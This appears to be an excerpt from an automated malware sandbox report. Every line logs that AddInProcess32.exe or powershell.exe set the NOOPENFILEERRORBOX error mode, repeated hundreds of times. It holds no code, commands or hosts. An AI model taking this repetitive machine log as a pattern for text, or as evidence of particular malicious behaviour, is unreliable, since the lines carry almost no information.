Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
